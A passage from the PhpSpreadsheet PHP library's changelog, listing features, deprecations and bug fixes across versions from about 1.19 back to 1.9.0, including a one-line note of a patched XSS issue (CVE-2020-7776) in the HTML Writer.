#2249](https://github.com/PHPOffice/PhpSpreadsheet/issues/2249) - Provided a Size Helper class to validate size values (pt, px, em) [PR #1694](https://github.com/PHPOffice/PhpSpreadsheet/pull/1694) ### Changed - Nothing. ### Deprecated - PHP 8.1 will deprecate auto_detect_line_endings. As a result of this change, Csv Reader using some release after PHP8.1 will no longer be able to handle a Csv with Mac line endings. ### Removed - Nothing. ### Fixed - Unexpected format in Xlsx Timestamp [Issue #2331](https://github.com/PHPOffice/PhpSpreadsheet/issues/2331) [PR #2332](https://github.com/PHPOffice/PhpSpreadsheet/pull/2332) - Corrections for HLOOKUP [Issue #2123](https://github.com/PHPOffice/PhpSpreadsheet/issues/2123) [PR #2330](https://github.com/PHPOffice/PhpSpreadsheet/pull/2330) - Corrections for Xlsx Read Comments [Issue #2316](https://github.com/PHPOffice/PhpSpreadsheet/issues/2316) [PR #2329](https://github.com/PHPOffice/PhpSpreadsheet/pull/2329) - Lowercase Calibri font names [Issue #2273](https://github.com/PHPOffice/PhpSpreadsheet/issues/2273) [PR #2325](https://github.com/PHPOffice/PhpSpreadsheet/pull/2325) - isFormula Referencing Sheet with Space in Title [Issue #2304](https://github.com/PHPOffice/PhpSpreadsheet/issues/2304) [PR #2306](https://github.com/PHPOffice/PhpSpreadsheet/pull/2306) - Xls Reader Fatal Error due to Undefined Offset [Issue #1114](https://github.com/PHPOffice/PhpSpreadsheet/issues/1114) [PR #2308](https://github.com/PHPOffice/PhpSpreadsheet/pull/2308) - Permit Csv Reader delimiter to be set to null [Issue #2287](https://github.com/PHPOffice/PhpSpreadsheet/issues/2287) [PR #2288](https://github.com/PHPOffice/PhpSpreadsheet/pull/2288) - Csv Reader did not handle booleans correctly [PR #2232](https://github.com/PHPOffice/PhpSpreadsheet/pull/2232) - Problems when deleting sheet with local defined name [Issue #2266](https://github.com/PHPOffice/PhpSpreadsheet/issues/2266) [PR #2284](https://github.com/PHPOffice/PhpSpreadsheet/pull/2284) - Worksheet passwords were not always handled correctly [Issue #1897](https://github.com/PHPOffice/PhpSpreadsheet/issues/1897) [PR #2197](https://github.com/PHPOffice/PhpSpreadsheet/pull/2197) - Gnumeric Reader will now distinguish between Created and Modified timestamp [PR #2133](https://github.com/PHPOffice/PhpSpreadsheet/pull/2133) - Xls Reader will now handle MACCENTRALEUROPE with or without hyphen [Issue #549](https://github.com/PHPOffice/PhpSpreadsheet/issues/549) [PR #2213](https://github.com/PHPOffice/PhpSpreadsheet/pull/2213) - Tweaks to input file validation [Issue #1718](https://github.com/PHPOffice/PhpSpreadsheet/issues/1718) [PR #2217](https://github.com/PHPOffice/PhpSpreadsheet/pull/2217) - Html Reader did not handle comments correctly [Issue #2234](https://github.com/PHPOffice/PhpSpreadsheet/issues/2234) [PR #2235](https://github.com/PHPOffice/PhpSpreadsheet/pull/2235) - Apache OpenOffice Uses Unexpected Case for General format [Issue #2239](https://github.com/PHPOffice/PhpSpreadsheet/issues/2239) [PR #2242](https://github.com/PHPOffice/PhpSpreadsheet/pull/2242) - Problems with fraction formatting [Issue #2253](https://github.com/PHPOffice/PhpSpreadsheet/issues/2253) [PR #2254](https://github.com/PHPOffice/PhpSpreadsheet/pull/2254) - Xlsx Reader had problems reading file with no styles.xml or empty styles.xml [Issue #2246](https://github.com/PHPOffice/PhpSpreadsheet/issues/2246) [PR #2247](https://github.com/PHPOffice/PhpSpreadsheet/pull/2247) - Xlsx Reader did not read Data Validation flags correctly [Issue #2224](https://github.com/PHPOffice/PhpSpreadsheet/issues/2224) [PR #2225](https://github.com/PHPOffice/PhpSpreadsheet/pull/2225) - Better handling of empty arguments in Calculation engine [PR #2143](https://github.com/PHPOffice/PhpSpreadsheet/pull/2143) - Many fixes for Autofilter [Issue #2216](https://github.com/PHPOffice/PhpSpreadsheet/issues/2216) [PR #2141](https://github.com/PHPOffice/PhpSpreadsheet/pull/2141) [PR #2162](https://github.com/PHPOffice/PhpSpreadsheet/pull/2162) [PR #2218](https://github.com/PHPOffice/PhpSpreadsheet/pull/2218) - Locale generator will now use Unix line endings even on Windows [Issue #2172](https://github.com/PHPOffice/PhpSpreadsheet/issues/2172) [PR #2174](https://github.com/PHPOffice/PhpSpreadsheet/pull/2174) - Support differences in implementation of Text functions between Excel/Ods/Gnumeric [PR #2151](https://github.com/PHPOffice/PhpSpreadsheet/pull/2151) - Fixes to places where PHP8.1 enforces new or previously unenforced restrictions [PR #2137](https://github.com/PHPOffice/PhpSpreadsheet/pull/2137) [PR #2191](https://github.com/PHPOffice/PhpSpreadsheet/pull/2191) [PR #2231](https://github.com/PHPOffice/PhpSpreadsheet/pull/2231) - Clone for HashTable was incorrect [PR #2130](https://github.com/PHPOffice/PhpSpreadsheet/pull/2130) - Xlsx Reader was not evaluating Document Security Lock correctly [PR #2128](https://github.com/PHPOffice/PhpSpreadsheet/pull/2128) - Error in COUPNCD handling end of month [Issue #2116](https://github.com/PHPOffice/PhpSpreadsheet/issues/2116) [PR #2119](https://github.com/PHPOffice/PhpSpreadsheet/pull/2119) - Xls Writer Parser did not handle concatenation operator correctly [PR #2080](https://github.com/PHPOffice/PhpSpreadsheet/pull/2080) - Xlsx Writer did not handle boolean false correctly [Issue #2082](https://github.com/PHPOffice/PhpSpreadsheet/issues/2082) [PR #2087](https://github.com/PHPOffice/PhpSpreadsheet/pull/2087) - SUM needs to treat invalid strings differently depending on whether they come from a cell or are used as literals [Issue #2042](https://github.com/PHPOffice/PhpSpreadsheet/issues/2042) [PR #2045](https://github.com/PHPOffice/PhpSpreadsheet/pull/2045) - Html reader could have set illegal coordinates when dealing with embedded tables [Issue #2029](https://github.com/PHPOffice/PhpSpreadsheet/issues/2029) [PR #2032](https://github.com/PHPOffice/PhpSpreadsheet/pull/2032) - Documentation for printing gridlines was wrong [PR #2188](https://github.com/PHPOffice/PhpSpreadsheet/pull/2188) - Return Value Error - DatabaseAbstruct::buildQuery() return null but must be string [Issue #2158](https://github.com/PHPOffice/PhpSpreadsheet/issues/2158) [PR #2160](https://github.com/PHPOffice/PhpSpreadsheet/pull/2160) - Xlsx reader not recognize data validations that references another sheet [Issue #1432](https://github.com/PHPOffice/PhpSpreadsheet/issues/1432) [Issue #2149](https://github.com/PHPOffice/PhpSpreadsheet/issues/2149) [PR #2150](https://github.com/PHPOffice/PhpSpreadsheet/pull/2150) [PR #2265](https://github.com/PHPOffice/PhpSpreadsheet/pull/2265) - Don't calculate cell width for autosize columns if a cell contains a null or empty string value [Issue #2165](https://github.com/PHPOffice/PhpSpreadsheet/issues/2165) [PR #2167](https://github.com/PHPOffice/PhpSpreadsheet/pull/2167) - Allow negative interest rate values in a number of the Financial functions (`PPMT()`, `PMT()`, `FV()`, `PV()`, `NPER()`, etc) [Issue #2163](https://github.com/PHPOffice/PhpSpreadsheet/issues/2163) [PR #2164](https://github.com/PHPOffice/PhpSpreadsheet/pull/2164) - Xls Reader changing grey background to black in Excel template [Issue #2147](https://github.com/PHPOffice/PhpSpreadsheet/issues/2147) [PR #2156](https://github.com/PHPOffice/PhpSpreadsheet/pull/2156) - Column width and Row height styles in the Html Reader when the value includes a unit of measure [Issue #2145](https://github.com/PHPOffice/PhpSpreadsheet/issues/2145). - Data Validation flags not set correctly when reading XLSX files [Issue #2224](https://github.com/PHPOffice/PhpSpreadsheet/issues/2224) [PR #2225](https://github.com/PHPOffice/PhpSpreadsheet/pull/2225) - Reading XLSX files without styles.xml throws an exception [Issue #2246](https://github.com/PHPOffice/PhpSpreadsheet/issues/2246) - Improved performance of `Style::applyFromArray()` when applied to several cells [PR #1785](https://github.com/PHPOffice/PhpSpreadsheet/issues/1785). - Improve XLSX parsing speed if no readFilter is applied (again) - [#772](https://github.com/PHPOffice/PhpSpreadsheet/issues/772) ## 1.18.0 - 2021-05-31 ### Added - Enhancements to CSV Reader, allowing options to be set when using `IOFactory::load()` with a callback to set delimiter, enclosure, charset etc [PR #2103](https://github.com/PHPOffice/PhpSpreadsheet/pull/2103) - See [documentation](https://github.com/PHPOffice/PhpSpreadsheet/blob/master/docs/topics/reading-and-writing-to-file.md#csv-comma-separated-values) for details. - Implemented basic AutoFiltering for Ods Reader and Writer [PR #2053](https://github.com/PHPOffice/PhpSpreadsheet/pull/2053) - Implemented basic AutoFiltering for Gnumeric Reader [PR #2055](https://github.com/PHPOffice/PhpSpreadsheet/pull/2055) - Improved support for Row and Column ranges in formulae [Issue #1755](https://github.com/PHPOffice/PhpSpreadsheet/issues/1755) [PR #2028](https://github.com/PHPOffice/PhpSpreadsheet/pull/2028) - Implemented URLENCODE() Web Function - Implemented the CHITEST(), CHISQ.DIST() and CHISQ.INV() and equivalent Statistical functions, for both left- and right-tailed distributions. - Support for ActiveSheet and SelectedCells in the ODS Reader and Writer [PR #1908](https://github.com/PHPOffice/PhpSpreadsheet/pull/1908) - Support for notContainsText Conditional Style in xlsx [Issue #984](https://github.com/PHPOffice/PhpSpreadsheet/issues/984) ### Changed - Use of `nb` rather than `no` as the locale code for Norsk Bokmål. ### Deprecated - All Excel Function implementations in `Calculation\Database`, `Calculation\DateTime`, `Calculation\Engineering`, `Calculation\Financial`, `Calculation\Logical`, `Calculation\LookupRef`, `Calculation\MathTrig`, `Calculation\Statistical`, `Calculation\TextData` and `Calculation\Web` have been moved to dedicated classes for individual functions or groups of related functions. See the docblocks against all the deprecated methods for details of the new methods to call instead. At some point, these old classes will be deleted. ### Removed - Use of `nb` rather than `no` as the locale language code for Norsk Bokmål. ### Fixed - Fixed error in COUPNCD() calculation for end of month [Issue #2116](https://github.com/PHPOffice/PhpSpreadsheet/issues/2116) - [PR #2119](https://github.com/PHPOffice/PhpSpreadsheet/pull/2119) - Resolve default values when a null argument is passed for HLOOKUP(), VLOOKUP() and ADDRESS() functions [Issue #2120](https://github.com/PHPOffice/PhpSpreadsheet/issues/2120) - [PR #2121](https://github.com/PHPOffice/PhpSpreadsheet/pull/2121) - Fixed incorrect R1C1 to A1 subtraction formula conversion (`R[-2]C-R[2]C`) [Issue #2076](https://github.com/PHPOffice/PhpSpreadsheet/pull/2076) [PR #2086](https://github.com/PHPOffice/PhpSpreadsheet/pull/2086) - Correctly handle absolute A1 references when converting to R1C1 format [PR #2060](https://github.com/PHPOffice/PhpSpreadsheet/pull/2060) - Correct default fill style for conditional without a pattern defined [Issue #2035](https://github.com/PHPOffice/PhpSpreadsheet/issues/2035) [PR #2050](https://github.com/PHPOffice/PhpSpreadsheet/pull/2050) - Fixed issue where array key check for existince before accessing arrays in Xlsx.php [PR #1970](https://github.com/PHPOffice/PhpSpreadsheet/pull/1970) - Fixed issue with quoted strings in number format mask rendered with toFormattedString() [Issue 1972#](https://github.com/PHPOffice/PhpSpreadsheet/issues/1972) [PR #1978](https://github.com/PHPOffice/PhpSpreadsheet/pull/1978) - Fixed issue with percentage formats in number format mask rendered with toFormattedString() [Issue 1929#](https://github.com/PHPOffice/PhpSpreadsheet/issues/1929) [PR #1928](https://github.com/PHPOffice/PhpSpreadsheet/pull/1928) - Fixed issue with _ spacing character in number format mask corrupting output from toFormattedString() [Issue 1924#](https://github.com/PHPOffice/PhpSpreadsheet/issues/1924) [PR #1927](https://github.com/PHPOffice/PhpSpreadsheet/pull/1927) - Fix for [Issue #1887](https://github.com/PHPOffice/PhpSpreadsheet/issues/1887) - Lose Track of Selected Cells After Save - Fixed issue with Xlsx@listWorksheetInfo not returning any data - Fixed invalid arguments triggering mb_substr() error in LEFT(), MID() and RIGHT() text functions [Issue #640](https://github.com/PHPOffice/PhpSpreadsheet/issues/640) - Fix for [Issue #1916](https://github.com/PHPOffice/PhpSpreadsheet/issues/1916) - Invalid signature check for XML files - Fix change in `Font::setSize()` behavior for PHP8 [PR #2100](https://github.com/PHPOffice/PhpSpreadsheet/pull/2100) ## 1.17.1 - 2021-03-01 ### Added - Implementation of the Excel `AVERAGEIFS()` functions as part of a restructuring of Database functions and Conditional Statistical functions. - Support for date values and percentages in query parameters for Database functions, and the IF expressions in functions like COUNTIF() and AVERAGEIF(). [#1875](https://github.com/PHPOffice/PhpSpreadsheet/pull/1875) - Support for booleans, and for wildcard text search in query parameters for Database functions, and the IF expressions in functions like COUNTIF() and AVERAGEIF(). [#1876](https://github.com/PHPOffice/PhpSpreadsheet/pull/1876) - Implemented DataBar for conditional formatting in Xlsx, providing read/write and creation of (type, value, direction, fills, border, axis position, color settings) as DataBar options in Excel. [#1754](https://github.com/PHPOffice/PhpSpreadsheet/pull/1754) - Alignment for ODS Writer [#1796](https://github.com/PHPOffice/PhpSpreadsheet/issues/1796) - Basic implementation of the PERMUTATIONA() Statistical Function ### Changed - Formula functions that previously called PHP functions directly are now processed through the Excel Functions classes; resolving issues with PHP8 stricter typing. [#1789](https://github.com/PHPOffice/PhpSpreadsheet/issues/1789) The following MathTrig functions are affected: `ABS()`, `ACOS()`, `ACOSH()`, `ASIN()`, `ASINH()`, `ATAN()`, `ATANH()`, `COS()`, `COSH()`, `DEGREES()` (rad2deg), `EXP()`, `LN()` (log), `LOG10()`, `RADIANS()` (deg2rad), `SIN()`, `SINH()`, `SQRT()`, `TAN()`, `TANH()`. One TextData function is also affected: `REPT()` (str_repeat). - `formatAsDate` correctly matches language metadata, reverting c55272e - Formulae that previously crashed on sub function call returning excel error value now return said value. The following functions are affected `CUMPRINC()`, `CUMIPMT()`, `AMORLINC()`, `AMORDEGRC()`. - Adapt some function error return value to match excel's error. The following functions are affected `PPMT()`, `IPMT()`. ### Deprecated - Calling many of the Excel formula functions directly rather than through the Calculation Engine. The logic for these Functions is now being moved out of the categorised `Database`, `DateTime`, `Engineering`, `Financial`, `Logical`, `LookupRef`, `MathTrig`, `Statistical`, `TextData` and `Web` classes into small, dedicated classes for individual functions or related groups of functions. This makes the logic in these classes easier to maintain; and will reduce the memory footprint required to execute formulae when calling these functions. ### Removed - Nothing. ### Fixed - Avoid Duplicate Titles When Reading Multiple HTML Files.[Issue #1823](https://github.com/PHPOffice/PhpSpreadsheet/issues/1823) [PR #1829](https://github.com/PHPOffice/PhpSpreadsheet/pull/1829) - Fixed issue with Worksheet's `getCell()` method when trying to get a cell by defined name. [#1858](https://github.com/PHPOffice/PhpSpreadsheet/issues/1858) - Fix possible endless loop in NumberFormat Masks [#1792](https://github.com/PHPOffice/PhpSpreadsheet/issues/1792) - Fix problem resulting from literal dot inside quotes in number format masks [PR #1830](https://github.com/PHPOffice/PhpSpreadsheet/pull/1830) - Resolve Google Sheets Xlsx charts issue. Google Sheets uses oneCellAnchor positioning and does not include *Cache values in the exported Xlsx [PR #1761](https://github.com/PHPOffice/PhpSpreadsheet/pull/1761) - Fix for Xlsx Chart axis titles mapping to correct X or Y axis label when only one is present [PR #1760](https://github.com/PHPOffice/PhpSpreadsheet/pull/1760) - Fix For Null Exception on ODS Read of Page Settings. [#1772](https://github.com/PHPOffice/PhpSpreadsheet/issues/1772) - Fix Xlsx reader overriding manually set number format with builtin number format [PR #1805](https://github.com/PHPOffice/PhpSpreadsheet/pull/1805) - Fix Xlsx reader cell alignment [PR #1710](https://github.com/PHPOffice/PhpSpreadsheet/pull/1710) - Fix for not yet implemented data-types in Open Document writer [Issue #1674](https://github.com/PHPOffice/PhpSpreadsheet/issues/1674) - Fix XLSX reader when having a corrupt numeric cell data type [PR #1664](https://github.com/phpoffice/phpspreadsheet/pull/1664) - Fix on `CUMPRINC()`, `CUMIPMT()`, `AMORLINC()`, `AMORDEGRC()` usage. When those functions called one of `YEARFRAC()`, `PPMT()`, `IPMT()` and they would get back an error value (represented as a string), trying to use numeral operands (`+`, `/`, `-`, `*`) on said return value and a number (`float or `int`) would fail. ## 1.16.0 - 2020-12-31 ### Added - CSV Reader - Best Guess for Encoding, and Handle Null-string Escape [#1647](https://github.com/PHPOffice/PhpSpreadsheet/issues/1647) ### Changed - Updated the CONVERT() function to support all current MS Excel categories and Units of Measure. ### Deprecated - All Excel Function implementations in `Calculation\Database`, `Calculation\DateTime`, `Calculation\Engineering`, `Calculation\Financial`, `Calculation\Logical`, `Calculation\LookupRef`, `Calculation\MathTrig`, `Calculation\Statistical`, `Calculation\TextData` and `Calculation\Web` have been moved to dedicated classes for individual functions or groups of related functions. See the docblocks against all the deprecated methods for details of the new methods to call instead. At some point, these old classes will be deleted. ### Removed - Nothing. ### Fixed - Fixed issue with absolute path in worksheets' Target [PR #1769](https://github.com/PHPOffice/PhpSpreadsheet/pull/1769) - Fix for Xls Reader when SST has a bad length [#1592](https://github.com/PHPOffice/PhpSpreadsheet/issues/1592) - Resolve Xlsx loader issue whe hyperlinks don't have a destination - Resolve issues when printer settings resources IDs clash with drawing IDs - Resolve issue with SLK long filenames [#1612](https://github.com/PHPOffice/PhpSpreadsheet/issues/1612) - ROUNDUP and ROUNDDOWN return incorrect results for values of 0 [#1627](https://github.com/phpoffice/phpspreadsheet/pull/1627) - Apply Column and Row Styles to Existing Cells [#1712](https://github.com/PHPOffice/PhpSpreadsheet/issues/1712) [PR #1721](https://github.com/PHPOffice/PhpSpreadsheet/pull/1721) - Resolve issues with defined names where worksheet doesn't exist (#1686)[https://github.com/PHPOffice/PhpSpreadsheet/issues/1686] and [#1723](https://github.com/PHPOffice/PhpSpreadsheet/issues/1723) - [PR #1742](https://github.com/PHPOffice/PhpSpreadsheet/pull/1742) - Fix for issue [#1735](https://github.com/PHPOffice/PhpSpreadsheet/issues/1735) Incorrect activeSheetIndex after RemoveSheetByIndex - [PR #1743](https://github.com/PHPOffice/PhpSpreadsheet/pull/1743) - Ensure that the list of shared formulae is maintained when an xlsx file is chunked with readFilter[Issue #169](https://github.com/PHPOffice/PhpSpreadsheet/issues/1669). - Fix for notice during accessing "cached magnification factor" offset [#1354](https://github.com/PHPOffice/PhpSpreadsheet/pull/1354) - Fix compatibility with ext-gd on php 8 ### Security Fix (CVE-2020-7776) - Prevent XSS through cell comments in the HTML Writer. ## 1.15.0 - 2020-10-11 ### Added - Implemented Page Order for Xlsx and Xls Readers, and provided Page Settings (Orientation, Scale, Horizontal/Vertical Centering, Page Order, Margins) support for Ods, Gnumeric and Xls Readers [#1559](https://github.com/PHPOffice/PhpSpreadsheet/pull/1559) - Implementation of the Excel `LOGNORM.DIST()`, `NORM.S.DIST()`, `GAMMA()` and `GAUSS()` functions. [#1588](https://github.com/PHPOffice/PhpSpreadsheet/pull/1588) - Named formula implementation, and improved handling of Defined Names generally [#1535](https://github.com/PHPOffice/PhpSpreadsheet/pull/1535) - Defined Names are now case-insensitive - Distinction between named ranges and named formulae - Correct handling of union and intersection operators in named ranges - Correct evaluation of named range operators in calculations - fix resolution of relative named range values in the calculation engine; previously all named range values had been treated as absolute. - Calculation support for named formulae - Support for nested ranges and formulae (named ranges and formulae that reference other named ranges/formulae) in calculations - Introduction of a helper to convert address formats between R1C1 and A1 (and the reverse) - Proper support for both named ranges and named formulae in all appropriate Readers - **Xlsx** (Previously only simple named ranges were supported) - **Xls** (Previously only simple named ranges were supported) - **Gnumeric** (Previously neither named ranges nor formulae were supported) - **Ods** (Previously neither named ranges nor formulae were supported) - **Xml** (Previously neither named ranges nor formulae were supported) - Proper support for named ranges and named formulae in all appropriate Writers - **Xlsx** (Previously only simple named ranges were supported) - **Xls** (Previously neither named ranges nor formulae were supported) - Still not supported, but some parser issues resolved that previously failed to differentiate between a defined name and a function name - **Ods** (Previously neither named ranges nor formulae were supported) - Support for PHP 8.0 ### Changed - Improve Coverage for ODS Reader [#1545](https://github.com/phpoffice/phpspreadsheet/pull/1545) - Named formula implementation, and improved handling of Defined Names generally [#1535](https://github.com/PHPOffice/PhpSpreadsheet/pull/1535) - fix resolution of relative named range values in the calculation engine; previously all named range values had been treated as absolute. - Drop $this->spreadSheet null check from Xlsx Writer [#1646](https://github.com/phpoffice/phpspreadsheet/pull/1646) - Improving Coverage for Excel2003 XML Reader [#1557](https://github.com/phpoffice/phpspreadsheet/pull/1557) ### Deprecated - **IMPORTANT NOTE:** This Introduces a **BC break** in the handling of named ranges. Previously, a named range cell reference of `B2` would be treated identically to a named range cell reference of `$B2` or `B$2` or `$B$2` because the calculation engine treated then all as absolute references. These changes "fix" that, so the calculation engine now handles relative references in named ranges correctly. This change that resolves previously incorrect behaviour in the calculation may affect users who have dynamically defined named ranges using relative references when they should have used absolute references. ### Removed - Nothing. ### Fixed - PrintArea causes exception [#1544](https://github.com/phpoffice/phpspreadsheet/pull/1544) - Calculation/DateTime Failure With PHP8 [#1661](https://github.com/phpoffice/phpspreadsheet/pull/1661) - Reader/Gnumeric Failure with PHP8 [#1662](https://github.com/phpoffice/phpspreadsheet/pull/1662) - ReverseSort bug, exposed but not caused by PHP8 [#1660](https://github.com/phpoffice/phpspreadsheet/pull/1660) - Bug setting Superscript/Subscript to false [#1567](https://github.com/phpoffice/phpspreadsheet/pull/1567) ## 1.14.1 - 2020-07-19 ### Added - nothing ### Fixed - WEBSERVICE is HTTP client agnostic and must be configured via `Settings::setHttpClient()` [#1562](https://github.com/PHPOffice/PhpSpreadsheet/issues/1562) - Borders were not complete on rowspanned columns using HTML reader [#1473](https://github.com/PHPOffice/PhpSpreadsheet/pull/1473) ### Changed ## 1.14.0 - 2020-06-29 ### Added - Add support for IFS() logical function [#1442](https://github.com/PHPOffice/PhpSpreadsheet/pull/1442) - Add Cell Address Helper to provide conversions between the R1C1 and A1 address formats [#1558](https://github.com/PHPOffice/PhpSpreadsheet/pull/1558) - Add ability to edit Html/Pdf before saving [#1499](https://github.com/PHPOffice/PhpSpreadsheet/pull/1499) - Add ability to set codepage explicitly for BIFF5 [#1018](https://github.com/PHPOffice/PhpSpreadsheet/issues/1018) - Added support for the WEBSERVICE function [#1409](https://github.com/PHPOffice/PhpSpreadsheet/pull/1409) ### Fixed - Resolve evaluation of utf-8 named ranges in calculation engine [#1522](https://github.com/PHPOffice/PhpSpreadsheet/pull/1522) - Fix HLOOKUP on single row [#1512](https://github.com/PHPOffice/PhpSpreadsheet/pull/1512) - Fix MATCH when comparing different numeric types [#1521](https://github.com/PHPOffice/PhpSpreadsheet/pull/1521) - Fix exact MATCH on ranges with empty cells [#1520](https://github.com/PHPOffice/PhpSpreadsheet/pull/1520) - Fix for Issue [#1516](https://github.com/PHPOffice/PhpSpreadsheet/issues/1516) (Cloning worksheet makes corrupted Xlsx) [#1530](https://github.com/PHPOffice/PhpSpreadsheet/pull/1530) - Fix For Issue [#1509](https://github.com/PHPOffice/PhpSpreadsheet/issues/1509) (Can not set empty enclosure for CSV) [#1518](https://github.com/PHPOffice/PhpSpreadsheet/pull/1518) - Fix for Issue [#1505](https://github.com/PHPOffice/PhpSpreadsheet/issues/1505) (TypeError : Argument 4 passed to PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet::writeAttributeIf() must be of the type string) [#1525](https://github.com/PHPOffice/PhpSpreadsheet/pull/1525) - Fix for Issue [#1495](https://github.com/PHPOffice/PhpSpreadsheet/issues/1495) (Sheet index being changed when multiple sheets are used in formula) [#1500]((https://github.com/PHPOffice/PhpSpreadsheet/pull/1500)) - Fix for Issue [#1533](https://github.com/PHPOffice/PhpSpreadsheet/issues/1533) (A reference to a cell containing a string starting with "#" leads to errors in the generated xlsx.) [#1534](https://github.com/PHPOffice/PhpSpreadsheet/pull/1534) - Xls Writer - Correct Timestamp Bug [#1493](https://github.com/PHPOffice/PhpSpreadsheet/pull/1493) - Don't ouput row and columns without any cells in HTML writer [#1235](https://github.com/PHPOffice/PhpSpreadsheet/issues/1235) ## 1.13.0 - 2020-05-31 ### Added - Support writing to streams in all writers [#1292](https://github.com/PHPOffice/PhpSpreadsheet/issues/1292) - Support CSV files with data wrapping a lot of lines [#1468](https://github.com/PHPOffice/PhpSpreadsheet/pull/1468) - Support protection of worksheet by a specific hash algorithm [#1485](https://github.com/PHPOffice/PhpSpreadsheet/pull/1485) ### Fixed - Fix Chart samples by updating chart parameter from 0 to DataSeries::EMPTY_AS_GAP [#1448](https://github.com/PHPOffice/PhpSpreadsheet/pull/1448) - Fix return type in docblock for the Cells::get() [#1398](https://github.com/PHPOffice/PhpSpreadsheet/pull/1398) - Fix RATE, PRICE, XIRR, and XNPV Functions [#1456](https://github.com/PHPOffice/PhpSpreadsheet/pull/1456) - Save Excel 2010+ functions properly in XLSX [#1461](https://github.com/PHPOffice/PhpSpreadsheet/pull/1461) - Several improvements in HTML writer [#1464](https://github.com/PHPOffice/PhpSpreadsheet/pull/1464) - Fix incorrect behaviour when saving XLSX file with drawings [#1462](https://github.com/PHPOffice/PhpSpreadsheet/pull/1462), - Fix Crash while trying setting a cell the value "123456\n" [#1476](https://github.com/PHPOffice/PhpSpreadsheet/pull/1481) - Improved DATEDIF() function and reduced errors for Y and YM units [#1466](https://github.com/PHPOffice/PhpSpreadsheet/pull/1466) - Stricter typing for mergeCells [#1494](https://github.com/PHPOffice/PhpSpreadsheet/pull/1494) ### Changed - Drop support for PHP 7.1, according to https://phpspreadsheet.readthedocs.io/en/latest/#php-version-support - Drop partial migration tool in favor of complete migration via RectorPHP [#1445](https://github.com/PHPOffice/PhpSpreadsheet/issues/1445) - Limit composer package to `src/` [#1424](https://github.com/PHPOffice/PhpSpreadsheet/pull/1424) ## 1.12.0 - 2020-04-27 ### Added - Improved the ARABIC function to also handle short-hand roman numerals - Added support for the FLOOR.MATH and FLOOR.PRECISE functions [#1351](https://github.com/PHPOffice/PhpSpreadsheet/pull/1351) ### Fixed - Fix ROUNDUP and ROUNDDOWN for floating-point rounding error [#1404](https://github.com/PHPOffice/PhpSpreadsheet/pull/1404) - Fix ROUNDUP and ROUNDDOWN for negative number [#1417](https://github.com/PHPOffice/PhpSpreadsheet/pull/1417) - Fix loading styles from vmlDrawings when containing whitespace [#1347](https://github.com/PHPOffice/PhpSpreadsheet/issues/1347) - Fix incorrect behavior when removing last row [#1365](https://github.com/PHPOffice/PhpSpreadsheet/pull/1365) - MATCH with a static array should return the position of the found value based on the values submitted [#1332](https://github.com/PHPOffice/PhpSpreadsheet/pull/1332) - Fix Xlsx Reader's handling of undefined fill color [#1353](https://github.com/PHPOffice/PhpSpreadsheet/pull/1353) ## 1.11.0 - 2020-03-02 ### Added - Added support for the BASE function - Added support for the ARABIC function - Conditionals - Extend Support for (NOT)CONTAINSBLANKS [#1278](https://github.com/PHPOffice/PhpSpreadsheet/pull/1278) ### Fixed - Handle Error in Formula Processing Better for Xls [#1267](https://github.com/PHPOffice/PhpSpreadsheet/pull/1267) - Handle ConditionalStyle NumberFormat When Reading Xlsx File [#1296](https://github.com/PHPOffice/PhpSpreadsheet/pull/1296) - Fix Xlsx Writer's handling of decimal commas [#1282](https://github.com/PHPOffice/PhpSpreadsheet/pull/1282) - Fix for issue by removing test code mistakenly left in [#1328](https://github.com/PHPOffice/PhpSpreadsheet/pull/1328) - Fix for Xls writer wrong selected cells and active sheet [#1256](https://github.com/PHPOffice/PhpSpreadsheet/pull/1256) - Fix active cell when freeze pane is used [#1323](https://github.com/PHPOffice/PhpSpreadsheet/pull/1323) - Fix XLSX file loading with autofilter containing '$' [#1326](https://github.com/PHPOffice/PhpSpreadsheet/pull/1326) - PHPDoc - Use `@return $this` for fluent methods [#1362](https://github.com/PHPOffice/PhpSpreadsheet/pull/1362) ## 1.10.1 - 2019-12-02 ### Changed - PHP 7.4 compatibility ### Fixed - FLOOR() function accept negative number and negative significance [#1245](https://github.com/PHPOffice/PhpSpreadsheet/pull/1245) - Correct column style even when using rowspan [#1249](https://github.com/PHPOffice/PhpSpreadsheet/pull/1249) - Do not confuse defined names and cell refs [#1263](https://github.com/PHPOffice/PhpSpreadsheet/pull/1263) - XLSX reader/writer keep decimal for floats with a zero decimal part [#1262](https://github.com/PHPOffice/PhpSpreadsheet/pull/1262) - ODS writer prevent invalid numeric value if locale decimal separator is comma [#1268](https://github.com/PHPOffice/PhpSpreadsheet/pull/1268) - Xlsx writer actually writes plotVisOnly and dispBlanksAs from chart properties [#1266](https://github.com/PHPOffice/PhpSpreadsheet/pull/1266) ## 1.10.0 - 2019-11-18 ### Changed - Change license from LGPL 2.1 to MIT [#140](https://github.com/PHPOffice/PhpSpreadsheet/issues/140) ### Added - Implementation of IFNA() logical function - Support "showZeros" worksheet option to change how Excel shows and handles "null" values returned from a calculation - Allow HTML Reader to accept HTML as a string into an existing spreadsheet [#1212](https://github.com/PHPOffice/PhpSpreadsheet/pull/1212) ### Fixed - IF implementation properly handles the value `#N/A` [#1165](https://github.com/PHPOffice/PhpSpreadsheet/pull/1165) - Formula Parser: Wrong line count for stuff like "MyOtherSheet!A:D" [#1215](https://github.com/PHPOffice/PhpSpreadsheet/issues/1215) - Call garbage collector after removing a column to prevent stale cached values - Trying to remove a column that doesn't exist deletes the latest column - Keep big integer as integer instead of lossely casting to float [#874](https://github.com/PHPOffice/PhpSpreadsheet/pull/874) - Fix branch pruning handling of non boolean conditions [#1167](https://github.com/PHPOffice/PhpSpreadsheet/pull/1167) - Fix ODS Reader when no DC namespace are defined [#1182](https://github.com/PHPOffice/PhpSpreadsheet/pull/1182) - Fixed Functions->ifCondition for allowing <> and empty condition [#1206](https://github.com/PHPOffice/PhpSpreadsheet/pull/1206) - Validate XIRR inputs and return correct error values [#1120](https://github.com/PHPOffice/PhpSpreadsheet/issues/1120) - Allow to read xlsx files with exotic workbook names like "workbook2.xml" [#1183](https://github.com/PHPOffice/PhpSpreadsheet/pull/1183) ## 1.9.0 - 2019-08-17 ### Changed - Drop support for PHP 5.6 and 7.0, according to https://phpspreadsheet.readthedocs.io/en/latest/#php-version-support ### Added - When <br> appears in a table cell, set the cell to wrap [#1071](https://github.com/PHPOffice/PhpSpreadsheet/issues/1071) and [#1070](https://github.com/PHPOffice/PhpSpreadsheet/pull/1070) - Add MAXIFS, MINIFS, COUNTIFS and Remove MINIF, MAXIF 